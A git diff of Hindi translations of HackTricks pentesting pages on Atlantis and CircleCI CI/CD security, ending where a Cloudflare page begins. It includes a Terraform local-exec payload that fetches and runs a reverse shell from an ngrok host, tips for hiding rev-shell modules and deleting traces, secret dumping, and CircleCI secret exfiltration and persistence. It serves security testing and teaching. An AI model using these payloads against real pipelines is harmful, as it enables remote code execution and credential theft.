**स्टेल्थियर तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके: -- टेराफॉर्म फ़ाइल में सीधे रेव शेल जोड़ने के बजाय, आप **एक बाहरी संसाधन लोड** कर सकते हैं जिसमें रेव शेल हो: +- Terraform फ़ाइल में सीधे रेव शेल जोड़ने के बजाय, आप **एक बाहरी संसाधन** लोड कर सकते हैं जिसमें रेव शेल हो: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) पर पा सकते हैं। +आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) में पा सकते हैं। -- बाहरी संसाधन में, **ref** फ़ीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड को छिपा सकें**, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **PR को मास्टर** में बनाने के बजाय Atlantis को ट्रिगर करने के लिए, **2 शाखाएँ** (test1 और test2) बनाएं और एक से दूसरी के लिए **PR बनाएं**। जब आप हमले को पूरा कर लें, तो बस **PR और शाखाओं को हटा दें**। +- बाहरी संसाधन में, **ref** फीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड** छिपा सकें, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- **PR को मास्टर** में बनाने के बजाय, **2 शाखाएँ** (test1 और test2) बनाएं और एक से दूसरी के लिए **PR बनाएं**। जब आप हमले को पूरा कर लें, तो बस **PR और शाखाओं को हटा दें**। #### Atlantis योजना रहस्यों का डंप -आप **atlantis plan** (`terraform plan`) चलाकर उपयोग किए गए रहस्यों को डंप कर सकते हैं, जैसे कि terraform फ़ाइल में कुछ इस तरह डालकर: +आप **terraform द्वारा उपयोग किए गए रहस्यों को डंप** कर सकते हैं `atlantis plan` (`terraform plan`) चलाकर, terraform फ़ाइल में कुछ इस तरह डालकर: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` -#### Atlantis apply RCE - Config modification in new PR +#### Atlantis apply RCE - नए PR में कॉन्फ़िगरेशन संशोधन यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकते हैं और एक PR उत्पन्न कर सकते हैं। यदि आप **`atlantis apply` निष्पादित कर सकते हैं, तो आप Atlantis सर्वर के अंदर RCE प्राप्त कर सकते हैं**। हालांकि, आपको आमतौर पर कुछ सुरक्षा उपायों को बायपास करने की आवश्यकता होगी: - **Mergeable**: यदि यह सुरक्षा Atlantis में सेट है, तो आप केवल **`atlantis apply` चला सकते हैं यदि PR मर्ज करने योग्य है** (जिसका मतलब है कि शाखा सुरक्षा को बायपास करना होगा)। -- संभावित [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) की जांच करें +- संभावित [**शाखा सुरक्षा बायपास**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) की जांच करें - **Approved**: यदि यह सुरक्षा Atlantis में सेट है, तो कुछ **अन्य उपयोगकर्ता को PR को स्वीकृत करना होगा** इससे पहले कि आप `atlantis apply` चला सकें -- डिफ़ॉल्ट रूप से, आप [**Gitbot टोकन का दुरुपयोग करके इस सुरक्षा को बायपास कर सकते हैं**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +- डिफ़ॉल्ट रूप से, आप इस सुरक्षा को बायपास करने के लिए [**Gitbot टोकन का दुरुपयोग कर सकते हैं**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -एक दुर्भावनापूर्ण Terraform फ़ाइल पर **`terraform apply` चलाना** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**।**\ +**`terraform apply` को एक दुर्भावनापूर्ण Terraform फ़ाइल पर चलाना** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**।**\ आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड `main.tf` फ़ाइल में समाप्त हो जाएं: ```json // Payload 1 to just steal a secret @@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -**पिछली तकनीक से सुझावों का पालन करें** ताकि इस हमले को **छिपे हुए तरीके** से किया जा सके। +पिछली तकनीक से **सुझावों का पालन करें** ताकि इस हमले को **छिपे हुए तरीके** से किया जा सके। -#### Terraform पैरामीटर इंजेक्शन +#### Terraform Param Injection -जब `atlantis plan` या `atlantis apply` चलाया जाता है, तो terraform नीचे चल रहा होता है, आप atlantis से terraform को कुछ इस तरह से कमांड पास कर सकते हैं: +जब `atlantis plan` या `atlantis apply` चलाया जाता है, तो terraform नीचे चल रहा होता है, आप atlantis से terraform को कुछ इस तरह कमांड पास कर सकते हैं: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -243,15 +243,15 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` -कुछ चीजें जो आप पास कर सकते हैं वे env वेरिएबल्स हैं जो कुछ सुरक्षा उपायों को बायपास करने में सहायक हो सकते हैं। [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) में terraform env vars की जांच करें। +आप जो पास कर सकते हैं वे env वेरिएबल हैं जो कुछ सुरक्षा उपायों को बायपास करने में सहायक हो सकते हैं। [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) में terraform env vars की जांच करें। #### कस्टम वर्कफ़्लो -`atlantis.yaml` फ़ाइल में निर्दिष्ट **दुष्ट कस्टम बिल्ड कमांड** चलाना। Atlantis पुल अनुरोध शाखा से `atlantis.yaml` फ़ाइल का उपयोग करता है, **नहीं** `master` की।\ +**malicious custom build commands** को `atlantis.yaml` फ़ाइल में निर्दिष्ट करना। Atlantis पुल अनुरोध शाखा से `atlantis.yaml` फ़ाइल का उपयोग करता है, **master** की नहीं।\ इस संभावना का उल्लेख पिछले अनुभाग में किया गया था: > [!CAUTION] -> यदि [**सर्वर साइड कॉन्फ़िग**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allow_custom_workflows` **True** पर सेट है, तो वर्कफ़्लो को प्रत्येक रेपो की **`atlantis.yaml`** फ़ाइल में **निर्दिष्ट** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **ओवरराइड करने** के लिए भी निर्दिष्ट करता है जो उपयोग किया जाने वाला है। +> यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allow_custom_workflows` को **True** पर सेट किया गया है, तो वर्कफ़्लो को प्रत्येक रेपो की **`atlantis.yaml`** फ़ाइल में **निर्दिष्ट** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **override करने** के लिए भी निर्दिष्ट करता है जो उपयोग किया जाने वाला है। > > यह मूल रूप से **Atlantis सर्वर में किसी भी उपयोगकर्ता को RCE देगा जो उस रेपो तक पहुँच सकता है**। > @@ -272,9 +272,9 @@ atlantis apply -- -h #Get terraform apply help > - run: my custom apply command > ``` -#### योजना/लागू सुरक्षा उपायों को बायपास करना +#### योजना/लागू सुरक्षा को बायपास करना -यदि [**सर्वर साइड कॉन्फ़िग**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allowed_overrides` _has_ `apply_requirements` कॉन्फ़िगर किया गया है, तो एक रेपो के लिए **योजना/लागू सुरक्षा उपायों को बायपास करने के लिए संशोधित करना** संभव है। +यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allowed_overrides` _has_ `apply_requirements` कॉन्फ़िगर किया गया है, तो एक रेपो के लिए **योजना/लागू सुरक्षा को बायपास करने के लिए संशोधित करना** संभव है। ```yaml repos: - id: /.*/ @@ -282,9 +282,9 @@ apply_requirements: [] ``` #### PR Hijacking -यदि कोई आपके मान्य पुल अनुरोधों पर **`atlantis plan/apply` टिप्पणियाँ भेजता है,** तो यह terraform को चलाने का कारण बनेगा जब आप नहीं चाहते। +यदि कोई आपके वैध पुल अनुरोधों पर **`atlantis plan/apply` टिप्पणियाँ भेजता है,** तो यह terraform को चलाने का कारण बनेगा जब आप नहीं चाहते। -इसके अलावा, यदि आपने **branch protection** में यह कॉन्फ़िगर नहीं किया है कि जब एक **नया कमिट इसे धकेला जाता है** तो हर PR को **फिर से मूल्यांकन** करने के लिए कहा जाए, तो कोई **दुष्ट कॉन्फ़िग्स** (पिछले परिदृश्यों की जांच करें) terraform कॉन्फ़िग में लिख सकता है, `atlantis plan/apply` चला सकता है और RCE प्राप्त कर सकता है। +इसके अलावा, यदि आपने **branch protection** में यह कॉन्फ़िगर नहीं किया है कि जब एक **नया कमिट डाला जाता है** तो हर PR को **फिर से मूल्यांकन** करने के लिए कहा जाए, तो कोई **दुष्ट कॉन्फ़िगरेशन** (पिछले परिदृश्यों की जांच करें) terraform कॉन्फ़िगरेशन में लिख सकता है, `atlantis plan/apply` चला सकता है और RCE प्राप्त कर सकता है। यह Github branch protections में **सेटिंग** है: @@ -292,11 +292,11 @@ apply_requirements: [] #### Webhook Secret -यदि आप **webhook secret** चुराने में सफल होते हैं या यदि कोई **webhook secret** उपयोग नहीं हो रहा है, तो आप **Atlantis webhook** को **call** कर सकते हैं और **atlatis commands** सीधे **invoke** कर सकते हैं। +यदि आप **webhook secret** चुराने में सफल होते हैं या यदि कोई **webhook secret** उपयोग नहीं किया जा रहा है, तो आप **Atlantis webhook** को **कॉल** कर सकते हैं और **atlatis कमांड** सीधे निष्पादित कर सकते हैं। #### Bitbucket -Bitbucket Cloud **webhook secrets** का समर्थन नहीं करता है। यह हमलावरों को **Bitbucket से अनुरोधों की नकल** करने की अनुमति दे सकता है। सुनिश्चित करें कि आप केवल Bitbucket IPs की अनुमति दे रहे हैं। +Bitbucket Cloud **webhook secrets** का समर्थन नहीं करता। यह हमलावरों को **Bitbucket से अनुरोधों की नकल** करने की अनुमति दे सकता है। सुनिश्चित करें कि आप केवल Bitbucket IPs की अनुमति दे रहे हैं। - इसका मतलब है कि एक **हमलावर** **Atlantis** के लिए **फर्जी अनुरोध** कर सकता है जो ऐसा दिखता है जैसे वे Bitbucket से आ रहे हैं। - यदि आप `--repo-allowlist` निर्दिष्ट कर रहे हैं तो वे केवल उन रिपोजिटरी से संबंधित फर्जी अनुरोध कर सकते हैं, इसलिए वे जो सबसे अधिक नुकसान कर सकते हैं वह आपके अपने रिपोजिटरी पर plan/apply करना होगा। @@ -325,7 +325,7 @@ Bitbucket Cloud **webhook secrets** का समर्थन नहीं क #### `--repo-allowlist` -Atlantis को आपको `--repo-allowlist` ध्वज के माध्यम से स्वीकार किए जाने वाले रिपोजिटरी की एक allowlist निर्दिष्ट करने की आवश्यकता है। उदाहरण के लिए: +Atlantis को आपको `--repo-allowlist` ध्वज के माध्यम से वेबहुक स्वीकार करने के लिए रिपोजिटरी की एक allowlist निर्दिष्ट करने की आवश्यकता है। उदाहरण के लिए: - विशिष्ट रिपोजिटरी: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` - आपका पूरा संगठन: `--repo-allowlist=github.com/runatlantis/*` @@ -336,23 +336,23 @@ Atlantis को आपको `--repo-allowlist` ध्वज के माध् #### Protect Terraform Planning -यदि हमलावर दुष्ट Terraform कोड के साथ पुल अनुरोध प्रस्तुत कर रहे हैं तो यह आपके खतरे के मॉडल में है, तो आपको यह जानना चाहिए कि `terraform apply` अनुमतियाँ पर्याप्त नहीं हैं। यह [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) का उपयोग करके या एक दुष्ट प्रदाता निर्दिष्ट करके `terraform plan` में दुष्ट कोड चलाना संभव है। यह कोड फिर आपके क्रेडेंशियल्स को एक्सफिल्ट्रेट कर सकता है। +यदि आपके खतरे के मॉडल में हमलावरों द्वारा दुष्ट Terraform कोड के साथ पुल अनुरोध प्रस्तुत करना शामिल है, तो आपको यह जानना चाहिए कि `terraform apply` अनुमतियाँ पर्याप्त नहीं हैं। यह [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) का उपयोग करके या एक दुष्ट प्रदाता निर्दिष्ट करके `terraform plan` में दुष्ट कोड चलाना संभव है। यह कोड फिर आपके क्रेडेंशियल्स को एक्सफिल्ट्रेट कर सकता है। इससे बचने के लिए, आप कर सकते हैं: 1. प्रदाताओं को Atlantis छवि में बेक करें या होस्ट करें और उत्पादन में ईग्रेस को अस्वीकार करें। 2. आंतरिक रूप से प्रदाता रजिस्ट्री प्रोटोकॉल लागू करें और सार्वजनिक ईग्रेस को अस्वीकार करें, इस तरह आप नियंत्रित करते हैं कि किसके पास रजिस्ट्री में लिखने का अधिकार है। -3. अपने [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html) के `plan` चरण को संशोधित करें ताकि अवैध प्रदाताओं या डेटा स्रोतों या अनुमति न दिए गए उपयोगकर्ताओं से PRs के उपयोग के खिलाफ मान्य किया जा सके। आप इस बिंदु पर अतिरिक्त मान्यता भी जोड़ सकते हैं, जैसे PR पर "thumbs-up" की आवश्यकता करना इससे पहले कि `plan` जारी रखने की अनुमति दी जाए। Conftest यहाँ उपयोगी हो सकता है। +3. अपने [सर्वर-साइड रिपोजिटरी कॉन्फ़िगरेशन](https://www.runatlantis.io/docs/server-side-repo-config.html) के `plan` चरण को संशोधित करें ताकि अवैध प्रदाताओं या डेटा स्रोतों या अनुमति न दिए गए उपयोगकर्ताओं से PRs के उपयोग के खिलाफ मान्य किया जा सके। आप इस बिंदु पर अतिरिक्त मान्यता भी जोड़ सकते हैं, जैसे PR पर "thumbs-up" की आवश्यकता करना इससे पहले कि `plan` जारी रखने की अनुमति दी जाए। Conftest यहाँ उपयोगी हो सकता है। #### Webhook Secrets -Atlantis को Webhook secrets के साथ चलाना चाहिए जो `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` पर्यावरण वेरिएबल के माध्यम से सेट किए गए हैं। `--repo-allowlist` ध्वज सेट होने के बावजूद, बिना webhook secret के, हमलावर Atlantis को एक ऐसे रिपोजिटरी के रूप में अनुरोध कर सकते हैं जो allowlisted है। Webhook secrets सुनिश्चित करते हैं कि webhook अनुरोध वास्तव में आपके VCS प्रदाता (GitHub या GitLab) से आ रहे हैं। +Atlantis को `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` पर्यावरण वेरिएबल के माध्यम से सेट किए गए Webhook secrets के साथ चलाना चाहिए। `--repo-allowlist` ध्वज सेट होने के बावजूद, बिना webhook secret के, हमलावर Atlantis को एक ऐसे रिपोजिटरी के रूप में अनुरोध कर सकते हैं जो allowlisted है। Webhook secrets यह सुनिश्चित करते हैं कि वेबहुक अनुरोध वास्तव में आपके VCS प्रदाता (GitHub या GitLab) से आ रहे हैं। यदि आप Azure DevOps का उपयोग कर रहे हैं, तो webhook secrets के बजाय एक बुनियादी उपयोगकर्ता नाम और पासवर्ड जोड़ें। #### Azure DevOps Basic Authentication -Azure DevOps सभी webhook घटनाओं में एक बुनियादी प्रमाणीकरण हेडर भेजने का समर्थन करता है। इसके लिए आपके webhook स्थान के लिए HTTPS URL का उपयोग करना आवश्यक है। +Azure DevOps सभी वेबहुक घटनाओं में एक बुनियादी प्रमाणीकरण हेडर भेजने का समर्थन करता है। इसके लिए आपके वेबहुक स्थान के लिए HTTPS URL का उपयोग करना आवश्यक है। #### SSL/HTTPS @@ -362,7 +362,7 @@ Azure DevOps सभी webhook घटनाओं में एक बुनि वेब सेवा में प्रमाणीकरण सक्षम करना अत्यधिक अनुशंसित है। `--web-basic-auth=true` का उपयोग करके BasicAuth सक्षम करें और `--web-username=yourUsername` और `--web-password=yourPassword` ध्वजों का उपयोग करके एक उपयोगकर्ता नाम और पासवर्ड सेट करें। -आप इनको पर्यावरण वेरिएबल के रूप में भी पास कर सकते हैं `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` और `ATLANTIS_WEB_PASSWORD=yourPassword`। +आप इन्हें पर्यावरण वेरिएबल के रूप में भी पास कर सकते हैं `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` और `ATLANTIS_WEB_PASSWORD=yourPassword`। ### References diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index a38da88a0..0afcb692a 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -4,22 +4,22 @@ ### बुनियादी जानकारी -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) एक निरंतर एकीकरण प्लेटफार्म है जहाँ आप **टेम्पलेट्स** परिभाषित कर सकते हैं जो यह बताती हैं कि आप इसे कुछ कोड के साथ क्या करना चाहते हैं और कब करना चाहते हैं। इस तरह आप **परीक्षण** या **तैनाती** को सीधे **अपने रेपो के मास्टर ब्रांच** से स्वचालित कर सकते हैं, उदाहरण के लिए। +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) एक निरंतर एकीकरण प्लेटफार्म है जहाँ आप **टेम्पलेट्स** परिभाषित कर सकते हैं जो यह बताती हैं कि आप इसे कुछ कोड के साथ क्या करना चाहते हैं और कब करना चाहते हैं। इस तरह आप **परीक्षण** या **डिप्लॉयमेंट** को सीधे **अपने रेपो मास्टर ब्रांच** से स्वचालित कर सकते हैं, उदाहरण के लिए। ### अनुमतियाँ -**CircleCI** **अनुमतियाँ विरासत में लेता है** github और bitbucket से संबंधित **खाते** से जो लॉग इन करता है।\ +**CircleCI** **अनुमतियाँ विरासत में लेता है** जो github और bitbucket से संबंधित हैं उस **खाते** से जो लॉग इन करता है।\ मेरी परीक्षण में मैंने यह जांचा कि जब तक आपके पास **github में रेपो पर लिखने की अनुमतियाँ हैं**, आप **CircleCI में इसके प्रोजेक्ट सेटिंग्स को प्रबंधित करने में सक्षम होंगे** (नए ssh कुंजी सेट करें, प्रोजेक्ट api कुंजी प्राप्त करें, नए CircleCI कॉन्फ़िग्स के साथ नए ब्रांच बनाएं...)। हालांकि, आपको **CircleCI प्रोजेक्ट में रेपो को परिवर्तित करने** के लिए **रेपो प्रशासक** होना आवश्यक है। ### पर्यावरण चर और रहस्य -[**दस्तावेज़ों**](https://circleci.com/docs/2.0/env-vars/) के अनुसार, कार्यप्रवाह के भीतर **पर्यावरण चर में मान लोड करने** के विभिन्न तरीके हैं। +[**दस्तावेज़ों के अनुसार**](https://circleci.com/docs/2.0/env-vars/) कार्यप्रवाह के भीतर **पर्यावरण चर में मान लोड करने** के विभिन्न तरीके हैं। #### अंतर्निहित पर्यावरण चर -CircleCI द्वारा चलाए गए प्रत्येक कंटेनर में हमेशा [**दस्तावेज़ में परिभाषित विशिष्ट पर्यावरण चर**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) होंगे जैसे `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` या `CIRCLE_USERNAME`। +CircleCI द्वारा चलाए गए प्रत्येक कंटेनर में हमेशा [**दस्तावेज़ में परिभाषित विशिष्ट env vars**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) होंगे जैसे `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` या `CIRCLE_USERNAME`। #### स्पष्ट पाठ @@ -59,17 +59,17 @@ SECRET: A secret ``` #### प्रोजेक्ट रहस्य -ये **रहस्य** केवल **प्रोजेक्ट** द्वारा (किसी भी **शाखा** द्वारा) **पहुँचने योग्य** होंगे।\ +ये **रहस्य** हैं जो केवल **प्रोजेक्ट** (किसी भी **शाखा** द्वारा) द्वारा **पहुँच योग्य** होंगे।\ आप इन्हें _https://app.circleci.com/settings/project/github/\/\/environment-variables_ में **घोषित** होते हुए देख सकते हैं। ![](<../images/image (129).png>) > [!CAUTION] -> "**आयात वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स** से इस प्रोजेक्ट में **वेरिएबल्स आयात** करने की अनुमति देती है। +> "**इंपोर्ट वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में इंपोर्ट** करने की अनुमति देती है। #### संदर्भ रहस्य -ये रहस्य **संगठन स्तर** पर हैं। **डिफ़ॉल्ट रूप से कोई भी रेपो** यहाँ संग्रहीत **किसी भी रहस्य** तक पहुँचने में सक्षम होगा: +ये रहस्य **संगठन स्तर** पर हैं। **डिफ़ॉल्ट रूप से कोई भी रेपो** यहाँ संग्रहीत **किसी भी रहस्य** को **पहुँच** सकेगा: ![](<../images/image (123).png>) @@ -81,19 +81,19 @@ SECRET: A secret #### स्पष्ट पाठ रहस्यों की खोज -यदि आपके पास **VCS** (जैसे github) तक **पहुँच** है, तो **प्रत्येक शाखा पर प्रत्येक रेपो** की फ़ाइल `.circleci/config.yml` की जाँच करें और वहाँ संग्रहीत संभावित **स्पष्ट पाठ रहस्यों** के लिए **खोजें**। +यदि आपके पास **VCS** (जैसे github) तक **पहुँच** है, तो **प्रत्येक शाखा पर प्रत्येक रेपो** की `.circleci/config.yml` फ़ाइल की जाँच करें और वहाँ संग्रहीत संभावित **स्पष्ट पाठ रहस्यों** के लिए **खोजें**। #### रहस्य पर्यावरण वेरिएबल्स और संदर्भ गणना -कोड की जाँच करते समय आप प्रत्येक `.circleci/config.yml` फ़ाइल में **सभी रहस्य नाम** पा सकते हैं जो **उपयोग** किए जा रहे हैं। आप उन फ़ाइलों से **संदर्भ नाम** भी प्राप्त कर सकते हैं या उन्हें वेब कंसोल में देख सकते हैं: _https://app.circleci.com/settings/organization/github/\/contexts_। +कोड की जाँच करते समय आप **सभी रहस्य नाम** पा सकते हैं जो प्रत्येक `.circleci/config.yml` फ़ाइल में **उपयोग** किए जा रहे हैं। आप उन फ़ाइलों से **संदर्भ नाम** भी प्राप्त कर सकते हैं या उन्हें वेब कंसोल में देख सकते हैं: _https://app.circleci.com/settings/organization/github/\/contexts_। #### प्रोजेक्ट रहस्यों को निकालना > [!WARNING] -> **सभी** प्रोजेक्ट और संदर्भ **रहस्यों** को **निकालने** के लिए आपको **सिर्फ 1 रेपो** में **लिखने** की पहुँच होनी चाहिए (_और आपके खाते को संदर्भों तक पहुँच होनी चाहिए लेकिन डिफ़ॉल्ट रूप से सभी को हर संदर्भ तक पहुँच मिलती है_)। +> **सभी** प्रोजेक्ट और संदर्भ **रहस्यों** को **निकालने** के लिए आपको **सिर्फ 1 रेपो** में **लिखने** की अनुमति होनी चाहिए (_और आपके खाते को संदर्भों तक पहुँच होनी चाहिए लेकिन डिफ़ॉल्ट रूप से सभी को हर संदर्भ तक पहुँच मिलती है_)। > [!CAUTION] -> "**आयात वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स** से इस प्रोजेक्ट में **वेरिएबल्स आयात** करने की अनुमति देती है। इसलिए, एक हमलावर **सभी रेपो से सभी प्रोजेक्ट वेरिएबल्स आयात** कर सकता है और फिर **सभी को एक साथ निकाल सकता है**। +> "**इंपोर्ट वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में इंपोर्ट** करने की अनुमति देती है। इसलिए, एक हमलावर **सभी रेपो से सभी प्रोजेक्ट वेरिएबल्स को इंपोर्ट** कर सकता है और फिर **सभी को एक साथ निकाल सकता है**। सभी प्रोजेक्ट रहस्य हमेशा नौकरियों के वातावरण में सेट होते हैं, इसलिए बस env को कॉल करना और इसे base64 में छिपाना रहस्यों को **कार्यप्रवाह वेब लॉग कंसोल** में निकाल देगा: ```yaml @@ -194,10 +194,10 @@ context: Test-Context > [!WARNING] > एक नया `.circleci/config.yml` बनाना **circleci बिल्ड को ट्रिगर करने के लिए पर्याप्त नहीं है**। आपको **इसे circleci कंसोल में एक प्रोजेक्ट के रूप में सक्षम करना होगा**। -#### क्लाउड में भागें +#### क्लाउड में एस्केप -**CircleCI** आपको **अपने बिल्ड को उनके मशीनों या अपने खुद के मशीनों में चलाने का विकल्प देता है**।\ -डिफ़ॉल्ट रूप से, उनके मशीन GCP में स्थित हैं, और आप प्रारंभ में कुछ भी प्रासंगिक नहीं पा सकेंगे। हालाँकि, यदि एक पीड़ित **अपने खुद के मशीनों (संभवतः, एक क्लाउड वातावरण में)** में कार्य चला रहा है, तो आप एक **क्लाउड मेटाडेटा एंडपॉइंट पा सकते हैं जिसमें दिलचस्प जानकारी हो सकती है**। +**CircleCI** आपको **अपने बिल्ड को उनकी मशीनों या अपनी मशीनों में चलाने का विकल्प देता है**।\ +डिफ़ॉल्ट रूप से, उनकी मशीनें GCP में स्थित हैं, और आप प्रारंभ में कुछ प्रासंगिक नहीं पा सकेंगे। हालाँकि, यदि एक पीड़ित **अपनी मशीनों (संभवतः, एक क्लाउड वातावरण में)** में कार्य चला रहा है, तो आप **दिलचस्प जानकारी के साथ एक क्लाउड मेटाडेटा एंडपॉइंट** पा सकते हैं। ध्यान दें कि पिछले उदाहरणों में सब कुछ एक डॉकर कंटेनर के अंदर लॉन्च किया गया था, लेकिन आप **एक VM मशीन लॉन्च करने के लिए भी कह सकते हैं** (जिसके पास विभिन्न क्लाउड अनुमतियाँ हो सकती हैं): ```yaml @@ -208,7 +208,7 @@ exfil-env: machine: image: ubuntu-2004:current ``` -या यहां तक कि एक डॉकर कंटेनर जो एक दूरस्थ डॉकर सेवा तक पहुंच रखता है: +या तो एक डॉकर कंटेनर जो एक दूरस्थ डॉकर सेवा तक पहुंच रखता है: ```yaml jobs: exfil-env: @@ -221,15 +221,15 @@ version: 19.03.13 ``` #### Persistence -- CircleCI में **उपयोगकर्ता टोकन** **बनाना** संभव है ताकि उपयोगकर्ता की पहुंच के साथ API एंडपॉइंट्स तक पहुंचा जा सके। +- CircleCI में API endpoints तक उपयोगकर्ता की पहुंच के साथ **उपयोगकर्ता टोकन** **बनाना** संभव है। - _https://app.circleci.com/settings/user/tokens_ -- **प्रोजेक्ट टोकन** **बनाना** संभव है ताकि टोकन को दिए गए अनुमतियों के साथ प्रोजेक्ट तक पहुंचा जा सके। +- **प्रोजेक्ट टोकन** बनाना संभव है ताकि टोकन को दिए गए अनुमतियों के साथ प्रोजेक्ट तक पहुंचा जा सके। - _https://app.circleci.com/settings/project/github/\/\/api_ -- प्रोजेक्ट्स में **SSH कुंजी** **जोड़ना** संभव है। +- प्रोजेक्ट में **SSH कुंजी** जोड़ना संभव है। - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- एक अप्रत्याशित प्रोजेक्ट में **छिपी शाखा में क्रॉन जॉब** **बनाना** संभव है जो हर दिन सभी **संदर्भ env** वेरिएबल्स **लीक** कर रहा है। -- या यहां तक कि एक शाखा में **बनाना** / एक ज्ञात जॉब को संशोधित करना जो हर दिन सभी संदर्भ और **प्रोजेक्ट्स के रहस्यों** को **लीक** करेगा। -- यदि आप एक गिटहब मालिक हैं, तो आप **असत्यापित ऑर्ब्स** की **अनुमति** दे सकते हैं और एक जॉब में इसे **बैकडोर** के रूप में कॉन्फ़िगर कर सकते हैं। -- आप कुछ कार्यों में **कमांड इंजेक्शन भेद्यता** पा सकते हैं और **गुप्त** के मान को संशोधित करके **कमांड** **इंजेक्ट** कर सकते हैं। +- एक अप्रत्याशित प्रोजेक्ट में **छिपी शाखा** में **क्रॉन जॉब** **बनाना** संभव है जो हर दिन सभी **संदर्भ env** vars **लीक** कर रहा है। +- या यहां तक कि एक शाखा में बनाना / एक ज्ञात जॉब को संशोधित करना जो हर दिन सभी संदर्भ और **प्रोजेक्ट्स सीक्रेट्स** **लीक** करेगा। +- यदि आप एक गिटहब मालिक हैं तो आप **असत्यापित ऑर्ब्स** की अनुमति दे सकते हैं और एक जॉब में इसे **बैकडोर** के रूप में कॉन्फ़िगर कर सकते हैं। +- आप कुछ कार्यों में **कमांड इंजेक्शन भेद्यता** पा सकते हैं और इसके मान को संशोधित करके **कमांड** **इंजेक्ट** कर सकते हैं। {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index cce1642c4..baf6eb5f6 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -1,99 +1,99 @@ -# Cloudflare Security +# Cloudflare सुरक्षा {{#include ../../banners/hacktricks-training.md}} -In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +एक Cloudflare खाते में कुछ **सामान्य सेटिंग्स और सेवाएँ** होती हैं जिन्हें कॉन्फ़िगर किया जा सकता है। इस पृष्ठ पर हम प्रत्येक अनुभाग की **सुरक्षा से संबंधित सेटिंग्स का विश्लेषण** करने जा रहे हैं:
